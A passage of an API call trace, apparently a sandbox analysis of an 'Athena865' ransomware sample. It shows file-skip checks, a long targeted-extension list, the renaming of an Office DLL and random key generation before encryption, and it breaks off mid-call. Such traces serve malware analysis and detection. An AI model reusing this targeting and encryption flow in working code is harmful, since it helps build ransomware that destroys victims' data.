[0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2=".") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="..") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="windows") returned -1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="bootmgr") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="temp") returned -1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="pagefile.sys") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="boot") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="ids.txt") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="ntuser.dat") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="perflogs") returned 1 [0084.032] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2="MSBuild") returned 1 [0084.032] lstrlenW (lpString="PROPRPT.DLL") returned 11 [0084.032] lstrcpyW (in: lpString1=0x241e89e, lpString2="PROPRPT.DLL" | out: lpString1="PROPRPT.DLL") returned="PROPRPT.DLL" [0084.032] lstrlenW (lpString="PROPRPT.DLL") returned 11 [0084.032] lstrlenW (lpString="Athena865") returned 9 [0084.032] lstrcmpiW (lpString1="OPRPT.DLL", lpString2="Athena865") returned 1 [0084.033] lstrlenW (lpString=".dll") returned 4 [0084.033] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2=".dll") returned 1 [0084.033] lstrlenW (lpString=".lnk") returned 4 [0084.033] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2=".lnk") returned 1 [0084.033] lstrlenW (lpString=".ini") returned 4 [0084.033] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2=".ini") returned 1 [0084.033] lstrlenW (lpString=".sys") returned 4 [0084.033] lstrcmpiW (lpString1="PROPRPT.DLL", lpString2=".sys") returned 1 [0084.033] lstrlenW (lpString="PROPRPT.DLL") returned 11 [0084.033] lstrlenW (lpString="bak") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.033] lstrlenW (lpString="ba_") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.033] lstrlenW (lpString="dbb") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.033] lstrlenW (lpString="vmdk") returned 4 [0084.033] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.033] lstrlenW (lpString="rar") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.033] lstrlenW (lpString="zip") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.033] lstrlenW (lpString="tgz") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.033] lstrlenW (lpString="vbox") returned 4 [0084.033] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.033] lstrlenW (lpString="vdi") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.033] lstrlenW (lpString="vhd") returned 3 [0084.033] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.033] lstrlenW (lpString="vhdx") returned 4 [0084.033] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.033] lstrlenW (lpString="avhd") returned 4 [0084.033] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.034] lstrlenW (lpString="db") returned 2 [0084.034] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.034] lstrlenW (lpString="db2") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.034] lstrlenW (lpString="db3") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.034] lstrlenW (lpString="dbf") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.034] lstrlenW (lpString="mdf") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.034] lstrlenW (lpString="mdb") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.034] lstrlenW (lpString="sql") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.034] lstrlenW (lpString="sqlite") returned 6 [0084.034] lstrcmpiW (lpString1="PT.DLL", lpString2="sqlite") returned -1 [0084.034] lstrlenW (lpString="sqlite3") returned 7 [0084.034] lstrcmpiW (lpString1="RPT.DLL", lpString2="sqlite3") returned -1 [0084.034] lstrlenW (lpString="sqlitedb") returned 8 [0084.034] lstrcmpiW (lpString1="PRPT.DLL", lpString2="sqlitedb") returned -1 [0084.034] lstrlenW (lpString="xml") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.034] lstrlenW (lpString="$er") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.034] lstrlenW (lpString="4dd") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.034] lstrlenW (lpString="4dl") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.034] lstrlenW (lpString="^^^") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.034] lstrlenW (lpString="abs") returned 3 [0084.034] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.035] lstrlenW (lpString="abx") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.035] lstrlenW (lpString="accdb") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0084.035] lstrlenW (lpString="accdc") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0084.035] lstrlenW (lpString="accde") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0084.035] lstrlenW (lpString="accdr") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0084.035] lstrlenW (lpString="accdt") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0084.035] lstrlenW (lpString="accdw") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0084.035] lstrlenW (lpString="accft") returned 5 [0084.035] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0084.035] lstrlenW (lpString="adb") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.035] lstrlenW (lpString="adb") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.035] lstrlenW (lpString="ade") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.035] lstrlenW (lpString="adf") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.035] lstrlenW (lpString="adn") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.035] lstrlenW (lpString="adp") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.035] lstrlenW (lpString="alf") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.035] lstrlenW (lpString="ask") returned 3 [0084.035] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.036] lstrlenW (lpString="btr") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.036] lstrlenW (lpString="cat") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.036] lstrlenW (lpString="cdb") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.036] lstrlenW (lpString="ckp") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.036] lstrlenW (lpString="cma") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.036] lstrlenW (lpString="cpd") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.036] lstrlenW (lpString="dacpac") returned 6 [0084.036] lstrcmpiW (lpString1="PT.DLL", lpString2="dacpac") returned 1 [0084.036] lstrlenW (lpString="dad") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.036] lstrlenW (lpString="dadiagrams") returned 10 [0084.036] lstrcmpiW (lpString1="ROPRPT.DLL", lpString2="dadiagrams") returned 1 [0084.036] lstrlenW (lpString="daschema") returned 8 [0084.036] lstrcmpiW (lpString1="PRPT.DLL", lpString2="daschema") returned 1 [0084.036] lstrlenW (lpString="db-journal") returned 10 [0084.036] lstrcmpiW (lpString1="ROPRPT.DLL", lpString2="db-journal") returned 1 [0084.036] lstrlenW (lpString="db-shm") returned 6 [0084.036] lstrcmpiW (lpString1="PT.DLL", lpString2="db-shm") returned 1 [0084.036] lstrlenW (lpString="db-wal") returned 6 [0084.036] lstrcmpiW (lpString1="PT.DLL", lpString2="db-wal") returned 1 [0084.036] lstrlenW (lpString="dbc") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.036] lstrlenW (lpString="dbs") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.036] lstrlenW (lpString="dbt") returned 3 [0084.036] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.037] lstrlenW (lpString="dbv") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.037] lstrlenW (lpString="dbx") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.037] lstrlenW (lpString="dcb") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.037] lstrlenW (lpString="dct") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.037] lstrlenW (lpString="dcx") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.037] lstrlenW (lpString="ddl") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.037] lstrlenW (lpString="dlis") returned 4 [0084.037] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.037] lstrlenW (lpString="dp1") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.037] lstrlenW (lpString="dqy") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.037] lstrlenW (lpString="dsk") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.037] lstrlenW (lpString="dsn") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.037] lstrlenW (lpString="dtsx") returned 4 [0084.037] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.037] lstrlenW (lpString="dxl") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.037] lstrlenW (lpString="eco") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.037] lstrlenW (lpString="ecx") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.037] lstrlenW (lpString="edb") returned 3 [0084.037] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.038] lstrlenW (lpString="epim") returned 4 [0084.038] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.038] lstrlenW (lpString="fcd") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.038] lstrlenW (lpString="fdb") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.038] lstrlenW (lpString="fic") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.038] lstrlenW (lpString="flexolibrary") returned 12 [0084.038] lstrlenW (lpString="fm5") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.038] lstrlenW (lpString="fmp") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.038] lstrlenW (lpString="fmp12") returned 5 [0084.038] lstrcmpiW (lpString1="T.DLL", lpString2="fmp12") returned 1 [0084.038] lstrlenW (lpString="fmpsl") returned 5 [0084.038] lstrcmpiW (lpString1="T.DLL", lpString2="fmpsl") returned 1 [0084.038] lstrlenW (lpString="fol") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.038] lstrlenW (lpString="fp3") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.038] lstrlenW (lpString="fp4") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.038] lstrlenW (lpString="fp5") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.038] lstrlenW (lpString="fp7") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.038] lstrlenW (lpString="fpt") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.038] lstrlenW (lpString="frm") returned 3 [0084.038] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.038] lstrlenW (lpString="gdb") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.039] lstrlenW (lpString="gdb") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.039] lstrlenW (lpString="grdb") returned 4 [0084.039] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.039] lstrlenW (lpString="gwi") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.039] lstrlenW (lpString="hdb") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.039] lstrlenW (lpString="his") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.039] lstrlenW (lpString="ib") returned 2 [0084.039] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.039] lstrlenW (lpString="idb") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.039] lstrlenW (lpString="ihx") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.039] lstrlenW (lpString="itdb") returned 4 [0084.039] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.039] lstrlenW (lpString="itw") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.039] lstrlenW (lpString="jet") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.039] lstrlenW (lpString="jtx") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.039] lstrlenW (lpString="kdb") returned 3 [0084.039] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.039] lstrlenW (lpString="kexi") returned 4 [0084.039] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.039] lstrlenW (lpString="kexic") returned 5 [0084.039] lstrcmpiW (lpString1="T.DLL", lpString2="kexic") returned 1 [0084.039] lstrlenW (lpString="kexis") returned 5 [0084.040] lstrcmpiW (lpString1="T.DLL", lpString2="kexis") returned 1 [0084.040] lstrlenW (lpString="lgc") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.040] lstrlenW (lpString="lwx") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.040] lstrlenW (lpString="maf") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.040] lstrlenW (lpString="maq") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.040] lstrlenW (lpString="mar") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.040] lstrlenW (lpString="marshal") returned 7 [0084.040] lstrcmpiW (lpString1="RPT.DLL", lpString2="marshal") returned 1 [0084.040] lstrlenW (lpString="mas") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.040] lstrlenW (lpString="mav") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.040] lstrlenW (lpString="maw") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.040] lstrlenW (lpString="mdbhtml") returned 7 [0084.040] lstrcmpiW (lpString1="RPT.DLL", lpString2="mdbhtml") returned 1 [0084.040] lstrlenW (lpString="mdn") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.040] lstrlenW (lpString="mdt") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.040] lstrlenW (lpString="mfd") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.040] lstrlenW (lpString="mpd") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.040] lstrlenW (lpString="mrg") returned 3 [0084.040] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.040] lstrlenW (lpString="mud") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.041] lstrlenW (lpString="mwb") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.041] lstrlenW (lpString="myd") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.041] lstrlenW (lpString="ndf") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.041] lstrlenW (lpString="nnt") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.041] lstrlenW (lpString="nrmlib") returned 6 [0084.041] lstrcmpiW (lpString1="PT.DLL", lpString2="nrmlib") returned 1 [0084.041] lstrlenW (lpString="ns2") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.041] lstrlenW (lpString="ns3") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.041] lstrlenW (lpString="ns4") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.041] lstrlenW (lpString="nsf") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.041] lstrlenW (lpString="nv") returned 2 [0084.041] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.041] lstrlenW (lpString="nv2") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.041] lstrlenW (lpString="nwdb") returned 4 [0084.041] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.041] lstrlenW (lpString="nyf") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.041] lstrlenW (lpString="odb") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.041] lstrlenW (lpString="odb") returned 3 [0084.041] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.042] lstrlenW (lpString="oqy") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.042] lstrlenW (lpString="ora") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.042] lstrlenW (lpString="orx") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.042] lstrlenW (lpString="owc") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.042] lstrlenW (lpString="p96") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.042] lstrlenW (lpString="p97") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.042] lstrlenW (lpString="pan") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.042] lstrlenW (lpString="pdb") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.042] lstrlenW (lpString="pdm") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.042] lstrlenW (lpString="pnz") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.042] lstrlenW (lpString="qry") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.042] lstrlenW (lpString="qvd") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.042] lstrlenW (lpString="rbf") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.042] lstrlenW (lpString="rctd") returned 4 [0084.042] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.042] lstrlenW (lpString="rod") returned 3 [0084.042] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.042] lstrlenW (lpString="rodx") returned 4 [0084.042] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.043] lstrlenW (lpString="rpd") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.043] lstrlenW (lpString="rsd") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.043] lstrlenW (lpString="sas7bdat") returned 8 [0084.043] lstrcmpiW (lpString1="PRPT.DLL", lpString2="sas7bdat") returned -1 [0084.043] lstrlenW (lpString="sbf") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.043] lstrlenW (lpString="scx") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.043] lstrlenW (lpString="sdb") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.043] lstrlenW (lpString="sdc") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.043] lstrlenW (lpString="sdf") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.043] lstrlenW (lpString="sis") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.043] lstrlenW (lpString="spq") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.043] lstrlenW (lpString="te") returned 2 [0084.043] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.043] lstrlenW (lpString="teacher") returned 7 [0084.043] lstrcmpiW (lpString1="RPT.DLL", lpString2="teacher") returned -1 [0084.043] lstrlenW (lpString="tmd") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.043] lstrlenW (lpString="tps") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.043] lstrlenW (lpString="trc") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.043] lstrlenW (lpString="trc") returned 3 [0084.043] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.044] lstrlenW (lpString="trm") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.044] lstrlenW (lpString="udb") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.044] lstrlenW (lpString="udl") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.044] lstrlenW (lpString="usr") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.044] lstrlenW (lpString="v12") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.044] lstrlenW (lpString="vis") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.044] lstrlenW (lpString="vpd") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.044] lstrlenW (lpString="vvv") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.044] lstrlenW (lpString="wdb") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.044] lstrlenW (lpString="wmdb") returned 4 [0084.044] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.044] lstrlenW (lpString="wrk") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.044] lstrlenW (lpString="xdb") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.044] lstrlenW (lpString="xld") returned 3 [0084.044] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.044] lstrlenW (lpString="xmlff") returned 5 [0084.044] lstrcmpiW (lpString1="T.DLL", lpString2="xmlff") returned -1 [0084.044] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL.Athena865") returned 64 [0084.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proprpt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\proprpt.dll.athena865"), dwFlags=0x1) returned 1 [0084.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\proprpt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.047] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1248136) returned 1 [0084.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.047] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.048] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.048] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.048] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x130e90, lpName=0x0) returned 0x17c [0084.051] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x130e90) returned 0x2d50000 [0084.163] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.164] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.165] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.166] UnmapViewOfFile 